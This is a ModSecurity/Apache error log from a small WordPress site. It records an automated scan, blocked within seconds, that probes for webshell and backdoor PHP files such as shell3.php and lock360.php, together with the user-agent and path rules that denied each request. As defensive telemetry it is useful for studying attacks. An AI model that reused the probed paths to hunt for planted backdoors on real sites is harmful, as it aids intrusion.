[Sat Nov 15 06:16:34.384741 2025] [:error] [pid 37318:tid 37376] [client 85.203.21.176:61017] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/login.php"] [unique_id "aReqQugM1rHoEAqoQDc3iAAAAQ4"]
[Sat Nov 15 06:16:34.585607 2025] [:error] [pid 27909:tid 27920] [client 85.203.21.184:42275] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/we.php"] [unique_id "aReqQiTfZ6B57n8HepWXmAAAAAc"]
[Sat Nov 15 06:16:34.806308 2025] [:error] [pid 27911:tid 27983] [client 85.203.21.186:22277] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aReqQsGzUdrhGBIfiKTLwgAAAI8"]
[Sat Nov 15 06:16:34.993154 2025] [:error] [pid 27910:tid 27941] [client 85.203.21.192:34049] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/index.php"] [unique_id "aReqQo6e1LusHMYkS7ZelAAAAEA"]
[Sat Nov 15 06:16:35.201742 2025] [:error] [pid 27910:tid 27952] [client 85.203.21.193:48821] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aReqQ46e1LusHMYkS7ZelQAAAEs"]
[Sat Nov 15 06:16:35.390546 2025] [:error] [pid 27910:tid 27957] [client 85.203.21.170:40197] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/block-support.php"] [unique_id "aReqQ46e1LusHMYkS7ZemAAAAFA"]
[Sat Nov 15 06:16:35.604653 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.159:60595] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aReqQ46e1LusHMYkS7ZemQAAAEE"]
[Sat Nov 15 06:16:35.790298 2025] [:error] [pid 27909:tid 27926] [client 193.37.32.2:47963] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aReqQyTfZ6B57n8HepWXmgAAAA0"]
[Sat Nov 15 06:16:36.000398 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.208:23209] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aReqQ-gM1rHoEAqoQDc3igAAAQg"]
[Sat Nov 15 06:16:36.201447 2025] [:error] [pid 27997:tid 28015] [client 85.203.21.155:27089] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/"] [unique_id "aReqRNpja_6cDxKbxFkmxQAAANA"]
[Sat Nov 15 06:16:36.482369 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.197:21547] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aReqRNpja_6cDxKbxFkmxgAAAMo"]
[Sat Nov 15 06:16:36.685670 2025] [:error] [pid 37318:tid 37381] [client 85.203.21.157:61173] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/buy.php"] [unique_id "aReqROgM1rHoEAqoQDc3jAAAARM"]
[Sat Nov 15 06:16:36.893470 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.237:48909] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/f.php"] [unique_id "aReqROgM1rHoEAqoQDc3jgAAAQk"]
[Sat Nov 15 06:16:37.079203 2025] [:error] [pid 27911:tid 27975] [client 193.37.32.2:33789] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-header.php"] [unique_id "aReqRcGzUdrhGBIfiKTLxgAAAIc"]
[Sat Nov 15 06:16:37.290341 2025] [:error] [pid 37318:tid 37369] [client 85.203.21.41:51121] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aReqRegM1rHoEAqoQDc3jwAAAQc"]
[Sat Nov 15 06:16:37.492221 2025] [:error] [pid 37318:tid 37378] [client 85.203.21.217:43849] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aReqRegM1rHoEAqoQDc3kwAAARA"]
[Sat Nov 15 06:16:37.687011 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.167:42915] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aReqRegM1rHoEAqoQDc3lQAAAQw"]
[Sat Nov 15 06:16:37.871857 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.41:57465] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/shell3.php"] [unique_id "aReqRegM1rHoEAqoQDc3lwAAARU"]
[Sat Nov 15 06:16:38.077850 2025] [:error] [pid 37318:tid 37382] [client 85.203.21.237:57691] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aReqRugM1rHoEAqoQDc3mAAAARQ"]
[Sat Nov 15 06:16:38.297288 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.190:39997] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aReqRugM1rHoEAqoQDc3mQAAAQk"]
[Sat Nov 15 06:16:38.478990 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.159:62037] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-conflg/function.php"] [unique_id "aReqRugM1rHoEAqoQDc3mgAAARE"]
[Sat Nov 15 06:16:38.892264 2025] [:error] [pid 27911:tid 27972] [client 85.203.21.227:34729] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/uploaded_script.php"] [unique_id "aReqRsGzUdrhGBIfiKTLygAAAIQ"]
[Sat Nov 15 06:16:39.076375 2025] [:error] [pid 37318:tid 37376] [client 85.203.21.159:42287] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aReqR-gM1rHoEAqoQDc3oAAAAQ4"]
[Sat Nov 15 06:16:39.272170 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.197:65211] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aReqR-gM1rHoEAqoQDc3oQAAAQk"]
[Sat Nov 15 06:16:39.475884 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.204:35125] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/admin.php"] [unique_id "aReqRyTfZ6B57n8HepWXnAAAAA8"]
[Sat Nov 15 06:16:39.680127 2025] [:error] [pid 27911:tid 27990] [client 85.203.21.222:26449] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aReqR8GzUdrhGBIfiKTLzQAAAJY"]
[Sat Nov 15 06:16:39.883215 2025] [:error] [pid 27910:tid 27962] [client 85.203.21.156:30495] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aReqR46e1LusHMYkS7ZenwAAAFU"]
[Sat Nov 15 06:16:40.090179 2025] [:error] [pid 27909:tid 27935] [client 85.203.21.232:56903] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aReqSCTfZ6B57n8HepWXnQAAABY"]
[Sat Nov 15 06:16:40.467499 2025] [:error] [pid 27997:tid 28023] [client 85.203.21.223:46391] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-info.php"] [unique_id "aReqSNpja_6cDxKbxFkmyAAAANg"]
[Sat Nov 15 06:16:40.875239 2025] [:error] [pid 27910:tid 27951] [client 85.203.21.168:43829] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "aReqSI6e1LusHMYkS7ZeoQAAAEo"]
[Sat Nov 15 06:16:41.097730 2025] [:error] [pid 27911:tid 27982] [client 85.203.21.213:37723] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentyfive/include.php"] [unique_id "aReqScGzUdrhGBIfiKTL0AAAAI4"]
[Sat Nov 15 06:16:41.362052 2025] [:error] [pid 27909:tid 27915] [client 85.203.21.186:58121] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/index2.php"] [unique_id "aReqSSTfZ6B57n8HepWXnwAAAAI"]
[Sat Nov 15 06:16:41.580672 2025] [:error] [pid 27911:tid 27981] [client 85.203.21.52:28177] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aReqScGzUdrhGBIfiKTL0gAAAI0"]
[Sat Nov 15 06:16:41.805478 2025] [:error] [pid 27997:tid 28019] [client 85.203.21.159:20571] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "aReqSdpja_6cDxKbxFkmzQAAANQ"]
[Sat Nov 15 06:16:42.015806 2025] [:error] [pid 27997:tid 28016] [client 85.203.21.58:27483] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aReqStpja_6cDxKbxFkmzgAAANE"]
[Sat Nov 15 06:16:42.208231 2025] [:error] [pid 27997:tid 28012] [client 85.203.21.232:23181] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/index.php"] [unique_id "aReqStpja_6cDxKbxFkmzwAAAM0"]
[Sat Nov 15 06:16:42.409263 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.226:49003] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aReqSugM1rHoEAqoQDc3pgAAAQg"]
[Sat Nov 15 06:16:42.982908 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.178:30685] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aReqSugM1rHoEAqoQDc3qQAAAQU"]
[Sat Nov 15 06:16:43.201458 2025] [:error] [pid 27911:tid 27980] [client 193.37.32.2:30805] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-conf.php"] [unique_id "aReqS8GzUdrhGBIfiKTL1gAAAIw"]
[Sat Nov 15 06:16:43.501643 2025] [:error] [pid 27997:tid 28002] [client 85.203.21.57:47139] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "aReqS9pja_6cDxKbxFkm0QAAAMM"]
[Sat Nov 15 06:16:43.694623 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.197:45081] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aReqS-gM1rHoEAqoQDc3rwAAARY"]
[Sat Nov 15 06:16:43.896782 2025] [:error] [pid 27997:tid 28020] [client 193.37.32.2:21621] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aReqS9pja_6cDxKbxFkm0gAAANU"]
[Sat Nov 15 06:16:44.079087 2025] [:error] [pid 27997:tid 28022] [client 85.203.21.190:52365] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aReqTNpja_6cDxKbxFkm0wAAANc"]
[Sat Nov 15 06:16:44.320666 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.223:31081] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/"] [unique_id "aReqTOgM1rHoEAqoQDc3sgAAAQk"]
[Sat Nov 15 06:16:44.507754 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.168:53117] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/admin.php"] [unique_id "aReqTOgM1rHoEAqoQDc3swAAAQA"]
[Sat Nov 15 06:16:44.711108 2025] [:error] [pid 27909:tid 27914] [client 85.203.21.168:27459] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aReqTCTfZ6B57n8HepWXpAAAAAE"]
[Sat Nov 15 06:16:44.897280 2025] [:error] [pid 37318:tid 37388] [client 85.203.21.226:37463] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aReqTOgM1rHoEAqoQDc3twAAARY"]
[Sat Nov 15 06:16:45.206243 2025] [:error] [pid 27997:tid 28007] [client 85.203.21.239:50875] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/m.php"] [unique_id "aReqTdpja_6cDxKbxFkm1wAAAMg"]
[Sat Nov 15 06:16:45.387625 2025] [:error] [pid 27911:tid 27979] [client 85.203.21.192:38753] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/chosen.php"] [unique_id "aReqTcGzUdrhGBIfiKTL2AAAAIs"]
[Sat Nov 15 06:16:45.612641 2025] [:error] [pid 27909:tid 27919] [client 85.203.21.159:42749] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aReqTSTfZ6B57n8HepWXpgAAAAY"]
[Sat Nov 15 06:16:45.913694 2025] [:error] [pid 27910:tid 27943] [client 85.203.21.157:23209] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bk/index.php"] [unique_id "aReqTY6e1LusHMYkS7ZerQAAAEI"]
[Sat Nov 15 06:16:46.177085 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.168:47721] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/log.php"] [unique_id "aReqTugM1rHoEAqoQDc3ugAAARU"]
[Sat Nov 15 06:16:46.383353 2025] [:error] [pid 37318:tid 37368] [client 85.203.21.206:45447] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/navigation/index.php"] [unique_id "aReqTugM1rHoEAqoQDc3uwAAAQY"]
[Sat Nov 15 06:16:46.615836 2025] [:error] [pid 37318:tid 37371] [client 85.203.21.204:28991] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/"] [unique_id "aReqTugM1rHoEAqoQDc3vAAAAQk"]
[Sat Nov 15 06:16:46.804960 2025] [:error] [pid 37318:tid 37372] [client 85.203.21.226:31737] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/"] [unique_id "aReqTugM1rHoEAqoQDc3vgAAAQo"]
